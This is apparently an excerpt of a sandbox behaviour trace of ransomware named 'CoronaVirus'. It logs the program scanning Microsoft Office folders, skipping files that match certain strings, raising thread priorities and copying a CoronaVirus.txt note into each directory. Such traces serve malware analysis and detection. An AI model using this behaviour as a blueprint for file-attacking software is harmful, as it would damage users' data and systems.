	[0107.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", _SubStr="wasse") returned 0x0
	[0107.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", _SubStr="passw") returned 0x0
	[0107.629] SetThreadPriority (hThread=0x11b4, nPriority=15) returned 1
	[0107.631] malloc (_Size=0x1000) returned 0x51fa0c0
	[0107.633] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml") returned 79
	[0107.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", _SubStr="wasse") returned 0x0
	[0107.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", _SubStr="passw") returned 0x0
	[0107.634] SetThreadPriority (hThread=0x11e4, nPriority=15) returned 1
	[0107.638] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.639] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml") returned 98
	[0107.639] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.639] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", _SubStr="wasse") returned 0x0
	[0107.639] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", _SubStr="passw") returned 0x0
	[0107.642] SetThreadPriority (hThread=0x1240, nPriority=15) returned 1
	[0107.645] malloc (_Size=0x1000) returned 0x51f0070
	[0107.645] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml") returned 89
	[0107.645] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", _SubStr="wasse") returned 0x0
	[0107.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", _SubStr="passw") returned 0x0
	[0107.648] SetThreadPriority (hThread=0x123c, nPriority=15) returned 1
	[0107.654] malloc (_Size=0x1000) returned 0x51fa0c0
	[0107.654] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml") returned 81
	[0107.654] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.654] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", _SubStr="wasse") returned 0x0
	[0107.654] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", _SubStr="passw") returned 0x0
	[0107.656] SetThreadPriority (hThread=0x1248, nPriority=15) returned 1
	[0107.663] malloc (_Size=0x1000) returned 0x51f0070
	[0107.663] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml") returned 81
	[0107.663] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.663] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", _SubStr="wasse") returned 0x0
	[0107.663] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", _SubStr="passw") returned 0x0
	[0107.666] SetThreadPriority (hThread=0x1230, nPriority=15) returned 1
	[0107.668] malloc (_Size=0x1000) returned 0x51fa0c0
	[0107.668] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml") returned 81
	[0107.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", _SubStr="wasse") returned 0x0
	[0107.673] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", _SubStr="passw") returned 0x0
	[0107.674] SetThreadPriority (hThread=0x1250, nPriority=15) returned 1
	[0107.678] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.680] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml") returned 106
	[0107.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", _SubStr="wasse") returned 0x0
	[0107.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", _SubStr="passw") returned 0x0
	[0107.683] SetThreadPriority (hThread=0x122c, nPriority=15) returned 1
	[0107.686] malloc (_Size=0x1000) returned 0x51f0070
	[0107.687] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml") returned 88
	[0107.687] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.687] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", _SubStr="wasse") returned 0x0
	[0107.687] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", _SubStr="passw") returned 0x0
	[0107.733] SetThreadPriority (hThread=0x11c4, nPriority=15) returned 1
	[0107.736] malloc (_Size=0x1000) returned 0x51fb0c8
	[0107.738] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml") returned 92
	[0107.738] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.738] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", _SubStr="wasse") returned 0x0
	[0107.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", _SubStr="passw") returned 0x0
	[0107.741] SetThreadPriority (hThread=0x125c, nPriority=15) returned 1
	[0107.743] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.745] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml") returned 90
	[0107.745] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.745] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", _SubStr="wasse") returned 0x0
	[0107.745] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", _SubStr="passw") returned 0x0
	[0107.760] SetThreadPriority (hThread=0x11f0, nPriority=15) returned 1
	[0107.762] malloc (_Size=0x1000) returned 0x51f0070
	[0107.765] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml") returned 105
	[0107.765] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.765] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", _SubStr="wasse") returned 0x0
	[0107.765] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", _SubStr="passw") returned 0x0
	[0107.768] SetThreadPriority (hThread=0x1238, nPriority=15) returned 1
	[0107.772] malloc (_Size=0x1000) returned 0x51fd0d8
	[0107.773] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml") returned 80
	[0107.773] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.773] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", _SubStr="wasse") returned 0x0
	[0107.774] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", _SubStr="passw") returned 0x0
	[0107.930] SetThreadPriority (hThread=0x1244, nPriority=15) returned 1
	[0107.935] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.935] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\CoronaVirus.txt") returned 85
	[0107.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0107.935] malloc (_Size=0x1000) returned 0x51f0070
	[0107.935] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml") returned 89
	[0107.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", _SubStr="wasse") returned 0x0
	[0107.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", _SubStr="passw") returned 0x0
	[0107.938] SetThreadPriority (hThread=0x11ec, nPriority=15) returned 1
	[0107.976] malloc (_Size=0x1000) returned 0x52010f8
	[0107.976] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml") returned 94
	[0107.977] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.977] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", _SubStr="wasse") returned 0x0
	[0107.977] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", _SubStr="passw") returned 0x0
	[0107.981] SetThreadPriority (hThread=0x1260, nPriority=15) returned 1
	[0107.983] malloc (_Size=0x1000) returned 0x51f0070
	[0107.985] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml") returned 82
	[0107.985] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.985] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", _SubStr="wasse") returned 0x0
	[0107.985] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", _SubStr="passw") returned 0x0
	[0107.988] SetThreadPriority (hThread=0x1264, nPriority=15) returned 1
	[0107.994] malloc (_Size=0x1000) returned 0x51fd0d8
	[0107.994] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml") returned 81
	[0107.994] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.994] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", _SubStr="wasse") returned 0x0
	[0107.994] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", _SubStr="passw") returned 0x0
	[0108.038] SetThreadPriority (hThread=0x11dc, nPriority=15) returned 1
	[0108.041] malloc (_Size=0x1000) returned 0x51f0070
	[0108.045] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml") returned 86
	[0108.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", _SubStr="wasse") returned 0x0
	[0108.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", _SubStr="passw") returned 0x0
	[0108.049] SetThreadPriority (hThread=0x124c, nPriority=15) returned 1
	[0108.053] malloc (_Size=0x1000) returned 0x52000f0
	[0108.053] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml") returned 92
	[0108.053] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", _SubStr="wasse") returned 0x0
	[0108.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", _SubStr="passw") returned 0x0
	[0108.056] SetThreadPriority (hThread=0x1254, nPriority=15) returned 1
	[0108.059] malloc (_Size=0x1000) returned 0x51f0070
	[0108.061] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml") returned 95
	[0108.061] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.061] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", _SubStr="wasse") returned 0x0
	[0108.061] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", _SubStr="passw") returned 0x0
	[0108.110] SetThreadPriority (hThread=0x1234, nPriority=15) returned 1
	[0108.113] malloc (_Size=0x1000) returned 0x51fe0e0
	[0108.115] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml") returned 85
	[0108.115] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.115] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", _SubStr="wasse") returned 0x0
	[0108.115] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", _SubStr="passw") returned 0x0
	[0108.118] SetThreadPriority (hThread=0x1228, nPriority=15) returned 1
	[0108.123] malloc (_Size=0x1000) returned 0x51f0070
	[0108.123] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml") returned 92
	[0108.124] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.124] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", _SubStr="wasse") returned 0x0
	[0108.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", _SubStr="passw") returned 0x0
	[0108.126] SetThreadPriority (hThread=0x117c, nPriority=15) returned 1
	[0108.128] malloc (_Size=0x1000) returned 0x51fc0d0
	[0108.128] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml") returned 83
	[0108.130] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.130] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", _SubStr="wasse") returned 0x0
	[0108.130] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", _SubStr="passw") returned 0x0
	[0108.169] SetThreadPriority (hThread=0x11d8, nPriority=15) returned 1
	[0108.174] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0108.181] _alloca_probe () returned 0x4036d0
	[0108.183] malloc (_Size=0x1000) returned 0x51f0070
	[0108.183] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml") returned 79
	[0108.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", _SubStr="wasse") returned 0x0
	[0108.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", _SubStr="passw") returned 0x0
	[0108.184] SetThreadPriority (hThread=0x11e8, nPriority=15) returned 1
	[0108.188] malloc (_Size=0x1000) returned 0x51ff0e8
	[0108.188] _swprintf (in: param_1=0x51ff0e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CoronaVirus.txt") returned 64
	[0108.188] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0108.190] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\fre\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0108.197] _alloca_probe () returned 0x4036d0
	[0108.197] malloc (_Size=0x1000) returned 0x51f0070
	[0108.197] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\fre\\CoronaVirus.txt") returned 58
	[0108.197] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\fre\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0108.197] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0108.202] _alloca_probe () returned 0x4036d0
	[0108.239] malloc (_Size=0x1000) returned 0x52010f8
	[0108.239] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned 101
	[0108.239] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.239] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0108.239] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.240] SetThreadPriority (hThread=0x11e0, nPriority=15) returned 1
	[0108.242] malloc (_Size=0x1000) returned 0x51fa0c0
	[0108.242] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml") returned 89
	[0108.242] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.242] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.242] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.252] SetThreadPriority (hThread=0x111c, nPriority=15) returned 1
	[0108.263] malloc (_Size=0x1000) returned 0x52000f0
	[0108.272] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned 92
	[0108.272] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.272] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.272] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.272] SetThreadPriority (hThread=0x1268, nPriority=15) returned 1
	[0108.277] malloc (_Size=0x1000) returned 0x51fb0c8
	[0108.279] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned 95
	[0108.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0108.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.323] SetThreadPriority (hThread=0x1258, nPriority=15) returned 1
	[0108.325] malloc (_Size=0x1000) returned 0x51fe0e0
	[0108.326] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml") returned 86
	[0108.330] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.330] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.330] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.334] SetThreadPriority (hThread=0x126c, nPriority=15) returned 1
	[0108.340] malloc (_Size=0x1000) returned 0x51fb0c8
	[0108.340] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned 99
	[0108.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0108.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.382] SetThreadPriority (hThread=0x1270, nPriority=15) returned 1
	[0108.396] malloc (_Size=0x1000) returned 0x51fe0e0
	[0108.396] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml") returned 88
	[0108.403] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.403] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.403] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.512] SetThreadPriority (hThread=0x1278, nPriority=15) returned 1
	[0108.515] malloc (_Size=0x1000) returned 0x52000f0
	[0108.515] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned 101
	[0108.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
